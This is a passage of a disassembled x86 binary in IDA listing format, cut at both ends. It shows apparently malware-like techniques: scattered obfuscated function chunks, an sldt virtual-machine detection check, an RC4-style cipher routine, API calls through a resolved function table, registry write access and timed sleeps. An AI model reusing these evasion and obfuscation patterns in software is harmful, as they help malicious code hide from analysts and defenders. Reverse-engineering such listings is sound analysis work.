		jnz	loc_9B06BF
		jmp	off_9BA5FC
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AD1DC:				; CODE XREF: sub_9B3864-6C22j
		mov	edx, [ebp+var_2028]
		test	edx, edx
		mov	edx, [ebp+var_2020]
		jnz	loc_9AE83C
		jmp	loc_9AF808
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9AD1F8:				; CODE XREF: sub_9AD11C+2967j
					; DATA XREF: .text:off_9B96D8o
		mov	eax, edi


loc_9AD1FA:				; CODE XREF: sub_9AD11C+2961j
		mov	ecx, [esp+1Ch+var_4]
		pop	edi
		xor	ecx, esp
		call	sub_9AAAC1
		add	esp, 18h
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AD20C:				; CODE XREF: sub_9B1D80-4ACFj
					; DATA XREF: .text:off_9BB050o
		mov	edx, [edi+4]
		push	edx
		pop	eax
		call	sub_9B327C
		test	eax, eax
		jnz	loc_9B1D5B
		jmp	loc_9AF8D0
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9AD224:				; CODE XREF: sub_9B04A8-2F6Dj
					; DATA XREF: .text:off_9B9441o
		mov	edx, [ebp-4050h]
		push	edx
		push	edi
		lea	eax, [ebp-201Ch]
		push	eax
		push	0Ah
		pop	eax
		call	sub_9B3F28
		mov	ebx, eax
		mov	[ebp-404Ch], ebx
		test	bl, 4
		jnz	loc_9B01B8
		jmp	loc_9B1CDC
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD254:				; CODE XREF: sub_9B0930+2365j
		mov	edx, [eax+14h]
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	loc_9B633C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9AD268:				; CODE XREF: sub_9AD11C+34j
		push	1
		pop	eax
		push	[esp+18h+var_4]
		pop	ecx
		xor	ecx, esp
		call	sub_9AAAC1
		add	esp, 18h
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AD280:				; CODE XREF: sub_9AC32C+8D18j
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+10h]
		lea	eax, [esp+324h+var_30C]
		push	eax
		push	esi
		call	dword ptr [edx+58h]
		or	eax, eax
		jz	loc_9B4127
		jmp	off_9B96F0
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AD2A0:				; CODE XREF: sub_9B1D80-2046j
		push	dword ptr [ebp-2044h]
		pop	ecx
		test	byte ptr [ecx+8], 2
		jnz	loc_9B1D5B
		jmp	off_9BB050
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD2B8	proc near		; CODE XREF: sub_9B2118-1B44p

arg_0		= dword	ptr  4

		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9B94D7
		call	dword ptr [ecx+68h]
		push	[esp+arg_0]
		pop	eax
		sub	edx, edx
		mov	dword_9BF380, edx
		mov	dword_9BF384, edx
		mov	dword_9BF388, edx
		mov	dword_9BF38C, edx
		mov	dword_9BF390, edx
		mov	dword_9BF394, edx
		mov	word_9BF398, dx
		mov	dword_9BF38C+2,	eax
		retn	4
sub_9AD2B8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AD304:				; CODE XREF: sub_9AB1A0+5EA1j
					; sub_9AB1A0+70B9j ...
		sub	edi, edi
		mov	[ebp-1Ch], edi


loc_9AD309:				; CODE XREF: sub_9AB1A0+70B3j
		and	edi, edi
		jz	loc_9B5F54
		jmp	off_9B8C85
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AD318:				; CODE XREF: sub_9B4FD0-4173j
		xor	ecx, ecx
		call	sub_9B4610
		xor	eax, eax


loc_9AD321:				; CODE XREF: sub_9B4FD0-243j
		mov	[ebp-22Ch], eax
		cmp	eax, 40h
		jnb	loc_9B5710
		jmp	off_9B9970
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9AD33B:				; CODE XREF: sub_9B3A74-3693j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9BADC8
		call	dword ptr [eax+1Ch]
		mov	eax, [ebp-128h]
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AD37C:				; CODE XREF: sub_9ADAC4+223j
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9B0BD3
		jmp	off_9BAED5
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
		shr	edx, 5
		push	edx
		pop	ecx
		and	ecx, 1Fh
		mov	eax, 1
		shl	eax, cl
		shr	edx, 5
		and	eax, dword_9BA4E8[edx*4]
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9AD3A8:				; CODE XREF: sub_9AEDD0+3152j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BAD92
		mov	esi, 1
		call	dword ptr [eax+1Ch]
		push	esi
		pop	eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AD3C4:				; CODE XREF: sub_9B4950-8899j
					; sub_9B4950-129Cj
		call	sub_9B46CC
		mov	[ebp-3Ch], eax
		cmp	eax, [ebp-20h]
		jz	loc_9B2944
		jmp	off_9B8EDE
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AD3DC:				; CODE XREF: sub_9B3864+1A63j
					; DATA XREF: .text:off_9BA611o
		sub	ecx, ecx
		cmp	ebx, ecx
		jz	loc_9AE2AC
		jmp	loc_9B01F8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD3EC	proc near		; CODE XREF: sub_9B6078-56BDp
					; sub_9B3E78-307Dp

; FUNCTION CHUNK AT 009AF494 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B122C SIZE 00000049 BYTES
; FUNCTION CHUNK AT 009B18BC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B4093 SIZE 0000001E BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BB097
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		call	sub_9AEBB8
		xor	eax, 3D8E2ED2h
		add	eax, [ebp+8]
		sub	edx, edx
		mov	[ebp-1Ch], eax


loc_9AD42D:				; CODE XREF: sub_9AD3EC+44DAj
		mov	[ebp-20h], edx
		cmp	edx, 80h
		jnb	loc_9B122C
		jmp	loc_9AF494
sub_9AD3EC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AD444:				; CODE XREF: sub_9B2F1C-54B2j
					; DATA XREF: .text:off_9BA02Do
		mov	edx, [ebp+0Ch]
		mov	dword ptr [edx], 0
		jmp	loc_9B528F
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AD454:				; CODE XREF: sub_9ADAC4+BFFj
					; DATA XREF: .text:off_9BADA4o
		lea	esi, [ebp+edi*4-84h]
		mov	eax, [esi]
		test	eax, eax
		jz	loc_9AAFA3
		jmp	off_9B896F
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD46C:				; CODE XREF: sub_9B1A08-68A1j
		mov	ecx, edi
		lea	esi, [ebp+var_201C]
		push	eax
		pop	edi
		push	ecx
		pop	edx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_9AD484:				; CODE XREF: sub_9B1A08-68A7j
					; sub_9B1A08-30AAj ...
		mov	eax, [ebp+var_41E0]
		test	eax, eax
		jbe	loc_9AF398
		jmp	off_9B97E1
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9AD498:				; CODE XREF: sub_9B562C-4E38j
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	edi
		push	40h
		call	dword ptr [ecx+7Ch]
		mov	esi, eax
		mov	[ebp+var_138], esi
		cmp	esi, ebx
		jz	loc_9AECDF
		jmp	off_9BAC79
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 10h


loc_9AD4C0:				; CODE XREF: .text:009AB50Ej
		sldt	ax
		or	ax, ax
		setnz	al
		movzx	eax, al
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B6504


loc_9AD4D0:				; CODE XREF: sub_9B6504-5B7j
					; DATA XREF: .text:off_9B9781o
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	4E20h
		call	dword ptr [ecx+4]
		jmp	loc_9B1C93
; END OF FUNCTION CHUNK	FOR sub_9B6504
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AD4EB:				; CODE XREF: sub_9ADAC4-21CEj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	0
		call	dword ptr [ecx+60h]
		xor	eax, eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9AD524:				; CODE XREF: sub_9B04A8+1A2Bj
					; DATA XREF: .text:off_9BA911o
		mov	dword ptr [ebp-4040h], 0


loc_9AD52E:				; CODE XREF: sub_9B04A8+183Aj
		cmp	dword ptr [ebp-4040h], 3
		jge	loc_9B18E8
		jmp	off_9B9441
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9AD544:				; CODE XREF: sub_9B43F4-5C49j
		push	esi
		pop	edx
		mov	ecx, ebx
		call	sub_9AFB1C
		test	byte ptr [ebx+18h], 2
		jz	loc_9B3B10
		jmp	loc_9AF974
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD55C:				; CODE XREF: sub_9B0930+479Bj
		push	off_9BA421
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+28h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		mov	ecx, [eax+28h]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B23C0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AD590	proc near		; CODE XREF: sub_9B1F68-6881p
					; sub_9ADAC4+22D3p ...

arg_0		= dword	ptr  4

		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		mov	eax, [esp+arg_0]
		push	edx
		mov	edx, [eax+4]
		push	edx
		call	dword ptr [ecx+28h]
		xor	ecx, ecx
		cmp	eax, 102h
		setnz	cl
		mov	eax, ecx
		retn	4
sub_9AD590	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9AD5B4:				; CODE XREF: sub_9ABD30+4A7Fj
		add	esi, eax
		cmp	esi, 2
		jl	loc_9B4713
		jmp	off_9B998E
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD5C8:				; CODE XREF: sub_9B1A08-2058j
		dec	esi
		mov	[ebp+var_41F0],	esi
		push	[ebp+esi*4+var_43B4]
		pop	edi
		mov	[ebp+var_4214],	edi
		call	sub_9B46CC
		mov	[ebp+var_4210],	eax
		push	eax
		mov	eax, edi
		lea	esi, [ebp+var_4224]
		call	sub_9AC250
		call	sub_9B45AC
		shl	eax, 1
		not	eax
		and	eax, 2
		or	eax, 1
		sub	edx, edx
		mov	dx, [ebp+eax*4+var_4224]
		push	edx
		push	edi
		pop	edx
		sub	eax, eax
		lea	esi, [ebp+var_402C]
		call	sub_9B1334
		mov	esi, [ebp+var_41EC]
		test	esi, esi
		jnz	loc_9B351C
		jmp	loc_9AC380
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AD634:				; CODE XREF: sub_9B63D8-4B53j
		push	dword ptr [ebp-2148h]
		pop	eax
		test	eax, eax
		jnz	loc_9B0304
		jmp	off_9B8D10
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AD64C:				; CODE XREF: sub_9ADAC4+503Dj
		or	esi, 0FFFFFFFFh
		mov	[ebp-48h], esi
		sub	eax, eax


loc_9AD654:				; CODE XREF: sub_9ADAC4+1F31j
		mov	[ebp-40h], eax
		cmp	eax, 0Ah
		jge	loc_9ABE35
		jmp	off_9B9559
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2C70


loc_9AD668:				; CODE XREF: sub_9B2C70+Fj
					; DATA XREF: .text:off_9B8D42o
		push	eax
		push	ebx
		call	sub_9B0E7C
		push	dword ptr [ebp-38h]
		pop	eax
		push	eax
		push	ebx
		push	off_9BA0BD
		call	sub_9ABF08
		mov	[edi+ebp-248h],	eax
		test	eax, eax
		jnz	loc_9B01DE
		jmp	loc_9AE9B4
; END OF FUNCTION CHUNK	FOR sub_9B2C70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9AD694:				; CODE XREF: sub_9B27D8+1C13j
					; DATA XREF: .text:off_9B8D69o
		call	dword ptr [eax+18h]
		push	off_9B97DD
		pop	eax
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	off_9B8ED2
		push	eax
		pop	esi
		call	dword ptr [edx+1Ch]
		push	esi
		pop	eax
		xor	edx, edx
		push	0Ah
		pop	ecx
		div	ecx
		or	edx, edx
		jnz	loc_9AB32B
		jmp	off_9B9868
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AD6D0:				; CODE XREF: sub_9B3EFC-5FA1j
					; DATA XREF: .text:off_9BAB6Eo
		cmp	eax, 0FFFFFDh
		jz	short loc_9AD6E0
		jmp	off_9B9449
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AD6E0:				; CODE XREF: sub_9B3EFC-8BF2j
					; sub_9B3EFC-6827j ...
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AD6E8:				; CODE XREF: sub_9B63D8-93EDj
					; DATA XREF: .text:off_9B8D65o
		mov	eax, ebx
		call	sub_9B327C
		and	eax, eax
		jnz	loc_9AF944
		jmp	loc_9B5A74
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF5E4


loc_9AD704:				; CODE XREF: sub_9AF5E4+Bj
		push	dword_9BA79C
		pop	edx
		mov	[edi], edx
		mov	eax, dword_9BA7A0
		mov	[edi+4], eax
		mov	ecx, dword_9BA7A4
		mov	[edi+8], ecx
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		push	off_9B8ED2
		call	dword ptr [eax+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	off_9B8ED2
		push	eax
		pop	esi
		call	dword ptr [edx+1Ch]
		mov	eax, esi
		sub	edx, edx
		push	3
		pop	ecx
		div	ecx
		mov	edx, off_9B90BC[edx*4]
		mov	eax, edx


loc_9AD761:				; CODE XREF: sub_9AF5E4:loc_9B09DCj
		mov	cl, [edx]
		inc	edx
		or	cl, cl
		jmp	loc_9B09DC
; END OF FUNCTION CHUNK	FOR sub_9AF5E4
; ---------------------------------------------------------------------------
		align 4
		push	dword_9BCB98
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9AD774:				; CODE XREF: sub_9AC250+5137j
					; DATA XREF: .text:off_9B9264o
		push	dword ptr [esi+4]
		pop	ecx
		cmp	ecx, edi
		jz	loc_9B536C
		jmp	loc_9AF174
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD788:				; CODE XREF: sub_9B1A08+4003j
		xor	esi, esi


loc_9AD78A:				; CODE XREF: sub_9B1A08+3FA4j
		mov	[ebp+var_41E8],	esi
		cmp	esi, [ebp+var_41E0]
		jnb	loc_9B47A0
		jmp	off_9B91AA
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AD7A4	proc near		; CODE XREF: sub_9B27D8-7497p
					; sub_9AB3B0+2Bp ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

; FUNCTION CHUNK AT 009B2E90 SIZE 00000069 BYTES

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	cl, [eax]
		inc	cl
		mov	[eax], cl
		mov	bl, [eax+1]
		movzx	ecx, cl
		mov	dl, [eax+ecx+2]
		add	bl, dl
		mov	[eax+1], bl
		mov	dl, bl
		lea	ecx, [eax+ecx+2]
		mov	bl, [ecx]
		movzx	edx, dl
		mov	dl, [eax+edx+2]
		mov	[ecx], dl
		movzx	ecx, byte ptr [eax+1]
		mov	[eax+ecx+2], bl
		mov	cl, [eax]
		movzx	edx, byte ptr [eax+1]
		movzx	esi, cl
		mov	dl, [eax+edx+2]
		add	dl, [eax+esi+2]
		inc	cl
		movzx	edx, dl
		mov	dl, [eax+edx+2]
		mov	[eax], cl
		movzx	ecx, cl
		mov	bl, [eax+ecx+2]
		add	[eax+1], bl
		mov	bl, [eax+1]
		lea	ecx, [eax+ecx+2]
		mov	[esp+10h+var_4], bl
		mov	bl, [ecx]
		movzx	esi, [esp+10h+var_4]
		mov	[esp+10h+var_3], bl
		mov	bl, [eax+esi+2]
		mov	[ecx], bl
		movzx	ecx, byte ptr [eax+1]
		mov	bl, [esp+10h+var_3]
		mov	[eax+ecx+2], bl
		mov	cl, [eax]
		movzx	esi, byte ptr [eax+1]
		movzx	edi, cl
		mov	bl, [eax+esi+2]
		add	bl, [eax+edi+2]
		inc	cl
		movzx	esi, bl
		mov	bl, [eax+esi+2]
		mov	[eax], cl
		movzx	ecx, cl
		mov	[esp+10h+var_2], bl
		mov	bl, [eax+ecx+2]
		add	[eax+1], bl
		mov	bl, [eax+1]
		lea	ecx, [eax+ecx+2]
		mov	[esp+10h+var_3], bl
		mov	bl, [ecx]
		movzx	esi, [esp+10h+var_3]
		mov	[esp+10h+var_4], bl
		mov	bl, [eax+esi+2]
		mov	[ecx], bl
		movzx	ecx, byte ptr [eax+1]
		mov	bl, [esp+10h+var_4]
		mov	[eax+ecx+2], bl
		mov	cl, [eax]
		movzx	edi, cl
		movzx	esi, byte ptr [eax+1]
		mov	bl, [eax+esi+2]
		add	bl, [eax+edi+2]
		inc	cl
		movzx	esi, bl
		mov	bl, [eax+esi+2]
		jmp	off_9BAC17
sub_9AD7A4	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AD898:				; CODE XREF: sub_9B1A08-426Cj
					; DATA XREF: .text:off_9B91AAo
		lea	edi, [esi+esi*4]
		shl	edi, 3
		lea	ebx, [edi+ebp-41BCh]
		cmp	dword ptr [ebx], 0
		jz	loc_9B59AB
		jmp	loc_9AEEE8
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9AD8BC:				; CODE XREF: sub_9B3984+78j
		push	[ebp+var_4058]
		pop	eax
		push	eax
		xor	edx, edx
		call	sub_9B5CDC
		test	eax, eax
		jnz	loc_9AB89C
		jmp	loc_9AE544
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9AD8D8:				; CODE XREF: sub_9B5480-6AD5j
					; DATA XREF: .text:off_9BAC29o
		call	sub_9AC448


loc_9AD8DD:				; CODE XREF: sub_9B5480-6ADBj
		push	dword ptr [esi]
		pop	eax
		push	dword ptr [eax+48h]
		pop	eax
		test	eax, eax
		jz	loc_9AB85D
		jmp	off_9B8900
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF5E4


loc_9AD8F4:				; CODE XREF: sub_9AF5E4+1EE1j
		push	edx
		pop	ecx
		shr	ecx, 2
		mov	esi, eax
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9B8ED2
		call	dword ptr [eax+18h]
		push	off_9B97DD
		pop	eax
		call	sub_9AD7A4
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		push	off_9B8ED2
		mov	esi, eax
		call	dword ptr [edx+1Ch]
		sub	edx, edx
		push	esi
		pop	eax
		push	3
		pop	ecx
		div	ecx
		mov	edx, off_9BA42C[edx*4]
		push	edx
		pop	eax


loc_9AD948:				; CODE XREF: sub_9AF5E4-1C97j
		mov	cl, [edx]
		inc	edx
		test	cl, cl
		jnz	short loc_9AD948
		jmp	off_9B8945
; END OF FUNCTION CHUNK	FOR sub_9AF5E4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AD958:				; CODE XREF: sub_9B1D80-5919j
					; DATA XREF: .text:off_9BA4E1o
		cmp	esi, 11h
		jnz	loc_9AE945
		jmp	loc_9B610C
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD968:				; CODE XREF: sub_9B0930+2469j
					; DATA XREF: .text:off_9B97D9o
		mov	edx, [eax+8]
		cmp	dword ptr [edx], 0
		jz	loc_9B23EF
		jmp	off_9B88D0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9AD97C	proc near		; CODE XREF: sub_9AFF64+4F5p
					; sub_9AFF64+51Fp

; FUNCTION CHUNK AT 009AC184 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AF884 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009B0218 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B1634 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B454B SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B51E4 SIZE 00000008 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8CAD
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		mov	[ebp-18h], esp
		mov	[ebp-1Ch], esi
		mov	[ebp-20h], esi
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	[ebp-4], esi
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx+0Ch]
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	20006h
		push	esi
		push	dword ptr [ebp+0Ch]
		pop	edx
		push	edx
		mov	ecx, [ebp+8]
		jmp	loc_9B0218
sub_9AD97C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AD9E4:				; CODE XREF: sub_9B0930-5B10j
					; DATA XREF: .text:off_9B99FAo
		push	dword ptr [eax+0Ch]
		pop	edx
		and	edx, edx
		jz	loc_9B23EF
		jmp	loc_9AE254
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AD9F8:				; CODE XREF: sub_9B3864-86D4j
					; sub_9B3864-4425j
					; DATA XREF: ...
		cmp	edi, 6
		jnz	loc_9B36C8
		jmp	off_9B96C8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9ADA08:				; CODE XREF: sub_9B04A8+3EB5j
					; sub_9B04A8+4093j
		push	dword ptr [ebp-4044h]
		pop	eax
		test	eax, eax
		jz	loc_9AFD43
		jmp	off_9B8F5C
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ACF9C


loc_9ADA23:				; CODE XREF: sub_9ACF9C+37j
					; sub_9ACF9C+1FE6j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ACF9C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9ADA40:				; CODE XREF: sub_9B2F1C-3996j
					; DATA XREF: .text:off_9B8DDFo
		mov	cl, [ebp+28h]
		mov	[esi+eax], cl
		inc	eax
		mov	[ebp-1Ch], eax
		mov	cx, [ebp+2Ch]
		mov	[esi+eax], cx
		movzx	ecx, cx
		add	eax, 2
		mov	[ebp-1Ch], eax
		lea	edx, [eax+ecx]
		cmp	edx, 1FFCh
		jbe	loc_9B22F0
		jmp	off_9BA02D
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9ADA70:				; CODE XREF: sub_9AEAAC+4Ej
		lea	edx, [eax+eax*4]
		mov	dword_9BEC20[edx*8], ecx
		inc	eax
		jmp	loc_9AEAEE
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9ADA80:				; CODE XREF: sub_9B3984-7B59j
		lea	ecx, [ebp+var_404C]
		push	ecx
		push	ebx
		push	6
		lea	edx, [ebp+var_4034]
		push	edx
		lea	ecx, [ebp+var_4044]
		push	ecx
		add	eax, 0FFFFFFFEh
		push	eax
		lea	ecx, [ebp+var_201E]
